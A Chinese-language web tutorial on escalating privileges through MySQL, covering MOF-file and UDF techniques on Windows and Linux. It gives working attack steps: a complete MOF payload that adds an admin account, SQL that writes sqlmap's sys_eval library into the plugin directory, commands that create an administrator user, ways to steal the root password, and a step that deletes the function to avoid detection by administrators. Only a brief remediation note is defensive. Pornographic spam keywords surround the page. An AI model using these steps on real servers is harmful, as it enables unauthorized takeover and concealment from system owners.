国产成人精品18p,天天干成人网,无码专区狠狠躁天天躁,美女脱精光隐私扒开免费观看

MySQL中怎么實(shí)現提權

發(fā)布時(shí)間:2021-08-23 15:12 來(lái)源:億速云 閱讀:0 作者:Leah 欄目: 網(wǎng)絡(luò )安全

本篇文章為大家展示了中怎么實(shí)現提權,內容簡(jiǎn)明扼要并且容易理解,絕對能使你眼前一亮,通過(guò)這篇文章的詳細介紹希望你能有所收獲。

MySQL提權的必要條件:

  1. 具有MySQL的root權限,且MySQL以system權限運行。

  2. 具有執行SQL語(yǔ)句的權限。

獲取root密碼的方法:

  1. 查看數據配置文件

    關(guān)鍵字:config、conn、sql、data、inc、database

  2. 下載mysql安裝路徑下的數據文件

    • 安裝路徑下的data目錄中存放的是數據庫的數據信息

    • root賬號密碼存儲在mysql數據庫下的user表中

    • 完整路徑=安裝路徑+\data\mysql\user.MYD

  3. 暴力破解

MySQL數據庫提權的幾種方式

  • udf提權

  • mof提權

  • 開(kāi)機啟動(dòng)腳本(啟動(dòng)項提權)

MOF提權

原理

利用了C:\Windows\System32\wbem\MOF目錄下的nullevt.mof文件

利用該文件每分鐘會(huì )去執行一次的特性,向該文件中寫(xiě)入cmd命令,就會(huì )被執行

利用條件

  1. 只使用于windows系統,一般低版本系統才可以用,比如xp、server2003

  2. C:\Windows\System32\wbem\MOF目錄有讀寫(xiě)權限

  3. 可以找到一個(gè)可寫(xiě)目錄,寫(xiě)入mof文件

提權方法

  1. 在可寫(xiě)目錄中上傳mof文件。

    把mof文件上傳到C:/wmpub/nullevt.mof

  2. 把這個(gè)文件復制到C:/Windows/System32/wbem/MOF/nullevt.mof目錄下

    select load_file('C:/wmpub/nullevt.mof') into dumpfile 'C:/Windows/System32/wbem/MOF/nullevt.mof'

    將下面這段代碼復制到mof后綴的文件中

    # pragma namespace("\.\root\subscription")
    
    instance of EventFilter as $EventFilter{ EventNamespace ="Root\Cimv2"; Name = "filtP2"; Query = "Select * From InstanceModificationEvent "
    
    "Where TargetInstance Isa \"Win32_LocalTime\" "
    
    "And TargetInstance.Second = 5";
    
    QueryLanguage = "WQL";
    
    };
    
    instance of ActiveScriptEventConsumer as $Consumer
    
    {
    
    Name = "consPCSV2";
    
    ScriptingEngine = "JScript";
    
    ScriptText =
    
    "var WSH = new
    
    ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
    
    };
    
    instance of __FilterToConsumerBinding
    
    {
    
    Consumer = $Consumer;
    
    Filter = $EventFilter;
    
    };

    把這個(gè)mof文件上傳到目標機中,可以修改代碼,進(jìn)行命令執行。

    目前mof提權方法用的比較少,建議使用udf腳本進(jìn)行MySQL數據庫提權。

補救措施

當發(fā)現被使用mof提權,解決繼續執行系統命令的方法:

  1. 先停止winmgmt服務(wù):net stop winmgmt

  2. 刪除文件夾:C:\Windows\System32\wbem\Repository

  3. 再重新啟動(dòng)winmgmt服務(wù):net start winmgmt

UDF提權(用戶(hù)自定義函數提權)

原理

UDF(User Defined Funtion)用戶(hù)自定義函數,通過(guò)添加新的函數,對mysql服務(wù)器進(jìn)行功能擴充。

信息收集

select version();   # 獲取數據庫版本
select user();  # 獲取數據庫用戶(hù)
select @@basedir;   # 獲取數據庫安裝目錄
show variables like ‘%plugin%’; # 查看plugin路徑。
Windows UDF提權

UDF可以理解為MySQL的函數庫,可以利用udf定義的創(chuàng )建函數。想要利用udf,必須上傳udf.dll作為udf的執行庫。MySQL中支持UDF擴展,使得我們可以調用DLL里面的函數來(lái)實(shí)現一些特殊的功能。

利用條件

如果mysql版本大于5.1,udf.dll文件必須放置在mysql安裝目錄的MySQL\Lib\Plugin\文件夾下,該目錄默認是不存在的,需要使用webshell找到mysql的安裝目錄,并在安裝目錄下創(chuàng )建MySQL\Lib\Plugin\文件夾,然后將udf.dll導入到該目錄。

如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:/windows/system32/目錄,在windows server 2000下放置在c:/winnt/system32/目錄。

掌握mysql數據庫的root賬戶(hù),從而擁有對mysql的insert和delete權限,以創(chuàng )建和拋棄函數。

擁有可以將udf.dll寫(xiě)入相應目錄的權限。

基本步驟

DLL文件的獲取方法

sqlmap/data/udf/mysql目錄下,在Windows目錄中有32位和64位的dll文件(MySQL位數)。

文件夾中的dll文件是通過(guò)異或編碼的,可以使用sqlmap/extract/cloak.py進(jìn)行解碼

python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_

  1. 將解碼后的DLL文件(包含用戶(hù)自定義函數的DLL文件)上傳到可寫(xiě)目錄,再導入到MySQL\lib\plugin\

    select LOAD_FILE('C:/可寫(xiě)目錄/lib_mysqludf_sys.dll') into dumpfile 'C:/phpStudy2016/MySQL/lib/plugin/lib_mysqludf_sys.dll';

  2. 將DLL中的函數引入到MySQL數據庫中

    創(chuàng )建自定義函數

    create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

    創(chuàng )建名為sys_eval的函數,返回值為string類(lèi)型,調用的文件是lib_mysqludf_sys.dll

    注意:需要創(chuàng )建.dll文件中存在的函數,可以使用十六進(jìn)制編輯器打開(kāi).dll文件,查看可以被創(chuàng )建的函數。

  3. 使用該函數去執行系統命令提權

    查看當前用戶(hù)權限

    select sys_eval("whoami");

    創(chuàng )建賬號并提升為管理員權限

    select sys_eval("net user winhex passw@ord /add");

    select sys_eval("net localgroup administrators winhex /add");

  4. 將之前引入的函數刪除掉

    防止被管理員發(fā)現,防止其他攻擊者使用

    drop function sys_eval;

    delete from mysql.func where name='sys_eval';

Linux UDF提權

簡(jiǎn)述

通過(guò)自定義庫函數來(lái)實(shí)現執行任意的命令

包含用戶(hù)自定義函數的文件為.so文件

要求

  • 在my.ini的[mysqld]下,添加secure_file_priv="",不限制導入導出路徑

  • 具有數據庫root賬戶(hù)的密碼,且mysql數據庫以root權限運行

  • 具有sql語(yǔ)句的執行權限

  • 導出目錄可寫(xiě)

  • 系統中的selinux處于關(guān)閉狀態(tài)

提權過(guò)程

  1. 查找插件庫的路徑

    show variables like '%plugin%';

    得到的結果為:

  2. 找到對應操作系統數據庫的UDF庫文件

    sqlmap-master\data\udf\mysql\linux\64下的lib_mysqludf_sys.so_文件

  3. 將so文件(UDF庫文件)進(jìn)行16進(jìn)制編碼

  4. 將so文件的內容解碼,寫(xiě)入到mysql插件庫目錄中

    select unhex('so文件的16進(jìn)制編碼') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'

  5. 查看udf庫所支持的函數

    注意:需要創(chuàng )建.so文件中存在的函數,可以使用十六進(jìn)制編輯器打開(kāi).so文件,查看可以被創(chuàng )建的函數。

  6. 創(chuàng )建函數

    寫(xiě)入之后,執行創(chuàng )建函數的命令,就會(huì )創(chuàng )建一個(gè)sys_eval的函數,用來(lái)執行系統命令,這個(gè)函數執行的系統命令全部都是system權限。

    create function sys_eval returns string soname 'xxx.so';

  7. 執行系統命令,提權

    sys_eval這個(gè)函數就可以執行系統命令,括號里輸入系統命令即可。

    查看當前用戶(hù)權限

    select sys_eval("whoami");

    創(chuàng )建賬號并提升為管理員權限

不需要判斷mysql的版本,直接查看路徑,直接寫(xiě)so文件,Linux里面的文件是so文件。

getshell之后,在終端輸入whoami,發(fā)現只是apache用戶(hù)權限。

尋找網(wǎng)站的數據庫配置文件,查看數據庫的賬號密碼,可以看到賬號root密碼root。

登錄mysql數據庫,輸入show variables like '%plugin%';查看plugin路徑。

得到的結果為:

我們把so文件進(jìn)行16進(jìn)制編碼,再解碼寫(xiě)入目錄中,返回為true,寫(xiě)入成功。

select unhex('so文件的16進(jìn)制編碼') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'

寫(xiě)入之后,執行創(chuàng )建函數的命令,就會(huì )創(chuàng )建一個(gè)sys_eval的函數,用來(lái)執行系統命令,這個(gè)函數執行的系統命令全部都是system權限。

create function sys_eval returns string soname 'xxx.so';

sys_eval這個(gè)函數就可以執行系統命令,括號里輸入系統命令即可。

select sys_eval('whoami')

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。

亚洲色大成网站www| 综合亚洲AV图片区| 久久亚洲国产精品五月天婷| 污污内射久久一区二区欧美日韩| 97亚洲色欲色欲综合网| 全免费又大粗又黄又爽少妇片|